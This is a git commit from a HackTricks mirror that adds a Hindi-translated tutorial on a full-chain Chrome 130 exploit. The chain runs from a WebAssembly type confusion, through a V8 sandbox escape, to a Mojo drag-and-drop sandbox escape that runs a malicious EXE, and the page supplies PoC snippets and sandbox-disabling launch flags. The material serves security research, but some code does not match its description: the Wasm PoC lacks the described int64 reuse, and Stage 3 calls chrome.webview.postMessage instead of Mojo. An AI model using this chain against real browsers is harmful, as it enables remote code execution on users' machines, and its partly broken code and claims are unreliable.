mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/chrome-exploiting.md'] to hi
This commit is contained in:
parent
c44ca1314a
commit
f8270b6ac8
@ -761,6 +761,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
|
168
src/binary-exploitation/chrome-exploiting.md
Normal file
168
src/binary-exploitation/chrome-exploiting.md
Normal file
@ -0,0 +1,168 @@
|
||||
# Chrome Exploiting
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> यह पृष्ठ Google Chrome 130 के खिलाफ एक आधुनिक "पूर्ण-श्रृंखला" शोषण कार्यप्रवाह का एक उच्च-स्तरीय लेकिन **व्यावहारिक** अवलोकन प्रदान करता है, जो **“101 Chrome Exploitation”** (भाग-0 — प्रस्तावना) पर आधारित है।
|
||||
> लक्ष्य यह है कि पेंटेस्टर्स और शोषण-डेवलपर्स को अपनी स्वयं की अनुसंधान के लिए तकनीकों को पुन: उत्पन्न या अनुकूलित करने के लिए आवश्यक न्यूनतम पृष्ठभूमि प्रदान की जाए।
|
||||
|
||||
## 1. Chrome Architecture Recap
|
||||
हमले की सतह को समझने के लिए यह जानना आवश्यक है कि कोड कहाँ निष्पादित होता है और कौन से सैंडबॉक्स लागू होते हैं।
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
| Chrome Browser |
|
||||
| |
|
||||
| +----------------------------+ +-----------------------------+ |
|
||||
| | Renderer Process | | Browser/main Process | |
|
||||
| | [No direct OS access] | | [OS access] | |
|
||||
| | +----------------------+ | | | |
|
||||
| | | V8 Sandbox | | | | |
|
||||
| | | [JavaScript / Wasm] | | | | |
|
||||
| | +----------------------+ | | | |
|
||||
| +----------------------------+ +-----------------------------+ |
|
||||
| | IPC/Mojo | |
|
||||
| V | |
|
||||
| +----------------------------+ | |
|
||||
| | GPU Process | | |
|
||||
| | [Restricted OS access] | | |
|
||||
| +----------------------------+ | |
|
||||
+-------------------------------------------------------------------------+
|
||||
```
|
||||
Layered defence-in-depth:
|
||||
|
||||
* **V8 sandbox** (Isolate): मेमोरी अनुमतियाँ मनमाने पढ़ने/लिखने को रोकने के लिए सीमित हैं JITed JS / Wasm से।
|
||||
* **Renderer ↔ Browser split** सुनिश्चित किया गया है **Mojo/IPC** संदेश पासिंग के माध्यम से; renderer के पास *कोई* मूल FS/नेटवर्क पहुंच नहीं है।
|
||||
* **OS sandboxes** प्रत्येक प्रक्रिया को और सीमित करते हैं (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles)।
|
||||
|
||||
एक *remote* हमलावर को इसलिए **तीन** लगातार प्राइमिटिव्स की आवश्यकता है:
|
||||
|
||||
1. V8 के अंदर मेमोरी भ्रष्टाचार ताकि **V8 heap के अंदर मनमाना RW प्राप्त किया जा सके**।
|
||||
2. एक दूसरा बग जो हमलावर को **V8 sandbox से पूर्ण renderer मेमोरी में भागने** की अनुमति देता है।
|
||||
3. एक अंतिम sandbox-escape (अक्सर लॉजिक के बजाय मेमोरी भ्रष्टाचार) को कोड निष्पादित करने के लिए **Chrome OS sandbox के बाहर**।
|
||||
|
||||
---
|
||||
|
||||
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
||||
|
||||
TurboFan के **Turboshaft** ऑप्टिमाइजेशन में एक दोष **WasmGC संदर्भ प्रकारों** को गलत वर्गीकृत करता है जब मान एक *एकल बेसिक ब्लॉक लूप* के अंदर उत्पन्न और उपभोग किया जाता है।
|
||||
|
||||
प्रभाव:
|
||||
* कंपाइलर **प्रकार-चेक को छोड़ देता है**, एक *संदर्भ* (`externref/anyref`) को *int64* के रूप में मानते हुए।
|
||||
* तैयार किया गया Wasm एक JS ऑब्जेक्ट हेडर को हमलावर-नियंत्रित डेटा के साथ ओवरलैप करने की अनुमति देता है → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR प्राइमिटिव्स**।
|
||||
|
||||
Minimal PoC (excerpt):
|
||||
```WebAssembly
|
||||
(module
|
||||
(type $t0 (func (param externref) (result externref)))
|
||||
(func $f (param $p externref) (result externref)
|
||||
(local $l externref)
|
||||
block $exit
|
||||
loop $loop
|
||||
local.get $p ;; value with real ref-type
|
||||
;; compiler incorrectly re-uses it as int64 in the same block
|
||||
br_if $exit ;; exit condition keeps us single-block
|
||||
br $loop
|
||||
end
|
||||
end)
|
||||
(export "f" (func $f)))
|
||||
```
|
||||
ट्रिगर ऑप्टिमाइजेशन और JS से स्प्रे ऑब्जेक्ट्स:
|
||||
```js
|
||||
const wasmMod = new WebAssembly.Module(bytes);
|
||||
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||
const f = wasmInst.exports.f;
|
||||
|
||||
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
|
||||
|
||||
// primitives
|
||||
let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
Outcome: **मनमाने पढ़ने/लिखने की क्षमता V8 के भीतर**।
|
||||
|
||||
---
|
||||
|
||||
## 3. स्टेज 2 – V8 सैंडबॉक्स से बाहर निकलना (issue 379140430)
|
||||
|
||||
जब एक Wasm फ़ंक्शन को टियर-अप-कंपाइल किया जाता है, तो एक **JS ↔ Wasm wrapper** उत्पन्न होता है। एक सिग्नेचर-मिसमैच बग के कारण wrapper एक विश्वसनीय **`Tuple2`** ऑब्जेक्ट के अंत से परे लिखता है जब Wasm फ़ंक्शन को *स्टैक पर रहते हुए* फिर से ऑप्टिमाइज़ किया जाता है।
|
||||
|
||||
`Tuple2` ऑब्जेक्ट के 2 × 64-बिट फ़ील्ड को ओवरराइट करने से **Renderer प्रक्रिया के भीतर किसी भी पते पर पढ़ने/लिखने की क्षमता** मिलती है, जो V8 सैंडबॉक्स को प्रभावी ढंग से बायपास करती है।
|
||||
|
||||
शोषण के मुख्य चरण:
|
||||
1. फ़ंक्शन को **Tier-Up** स्थिति में लाना टर्बोफैन/बेसलाइन कोड को वैकल्पिक करके।
|
||||
2. स्टैक पर एक संदर्भ रखते हुए टियर-अप को ट्रिगर करना (`Function.prototype.apply`)।
|
||||
3. निकटवर्ती `Tuple2` को खोजने और भ्रष्ट करने के लिए स्टेज-1 AAR/AAW का उपयोग करना।
|
||||
|
||||
Wrapper पहचान:
|
||||
```js
|
||||
function wrapperGen(arg) {
|
||||
return f(arg);
|
||||
}
|
||||
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||
wrapperGen(0x1337n);
|
||||
```
|
||||
After corruption we possess a fully-featured **renderer R/W primitive**.
|
||||
|
||||
---
|
||||
|
||||
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
|
||||
|
||||
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
|
||||
|
||||
इसका दुरुपयोग करते हुए हम प्रोग्रामेटिकली एक दुर्भावनापूर्ण EXE (जो पहले एक विश्व-लेखनीय स्थान पर रखा गया था) को डेस्कटॉप पर “खींच” सकते हैं, जहाँ Windows स्वचालित रूप से कुछ फ़ाइल-प्रकारों को छोड़ने पर निष्पादित करता है।
|
||||
|
||||
Example (simplified):
|
||||
```js
|
||||
const payloadPath = "C:\\Users\\Public\\explorer.exe";
|
||||
|
||||
chrome.webview.postMessage({
|
||||
type: "DragStart",
|
||||
data: {
|
||||
title: "MyFile",
|
||||
file_path: payloadPath,
|
||||
mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
कोई अतिरिक्त मेमोरी भ्रष्टाचार आवश्यक नहीं है - **लॉजिक फ्लॉ** हमें उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने फ़ाइल निष्पादन की अनुमति देता है।
|
||||
|
||||
---
|
||||
|
||||
## 5. पूर्ण श्रृंखला प्रवाह
|
||||
|
||||
1. **उपयोगकर्ता** दुर्भावनापूर्ण वेबपृष्ठ पर जाता है।
|
||||
2. **चरण 1**: Wasm मॉड्यूल CVE-2025-0291 का दुरुपयोग करता है → V8 हीप AAR/AAW।
|
||||
3. **चरण 2**: व्रैपर असंगति `Tuple2` को भ्रष्ट करता है → V8 सैंडबॉक्स से बाहर निकलता है।
|
||||
4. **चरण 3**: `startDragging()` IPC → OS सैंडबॉक्स से बाहर निकलता है और पेलोड निष्पादित करता है।
|
||||
|
||||
परिणाम: **रिमोट कोड निष्पादन (RCE)** होस्ट पर (Chrome 130, Windows/Linux/macOS)।
|
||||
|
||||
---
|
||||
|
||||
## 6. प्रयोगशाला और डिबगिंग सेटअप
|
||||
```bash
|
||||
# Spin-up local HTTP server w/ PoCs
|
||||
npm i -g http-server
|
||||
git clone https://github.com/Petitoto/chromium-exploit-dev
|
||||
cd chromium-exploit-dev
|
||||
http-server -p 8000 -c -1
|
||||
|
||||
# Windows kernel debugging
|
||||
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||
```
|
||||
Chrome के *development* बिल्ड को लॉन्च करते समय उपयोगी फ्लैग:
|
||||
```bash
|
||||
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||
```
|
||||
---
|
||||
|
||||
## Takeaways
|
||||
|
||||
* **WebAssembly JIT बग** एक विश्वसनीय प्रवेश बिंदु बने रहते हैं - प्रकार प्रणाली अभी भी युवा है।
|
||||
* V8 के अंदर एक दूसरा मेमोरी-करप्शन बग प्राप्त करना (जैसे कि wrapper mismatch) **V8-sandbox escape** को बहुत सरल बनाता है।
|
||||
* विशेष Mojo IPC इंटरफेस में लॉजिक-स्तरीय कमजोरियाँ अक्सर **अंतिम sandbox escape** के लिए पर्याप्त होती हैं - *non-memory* बग पर नज़र रखें।
|
||||
|
||||
## References
|
||||
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user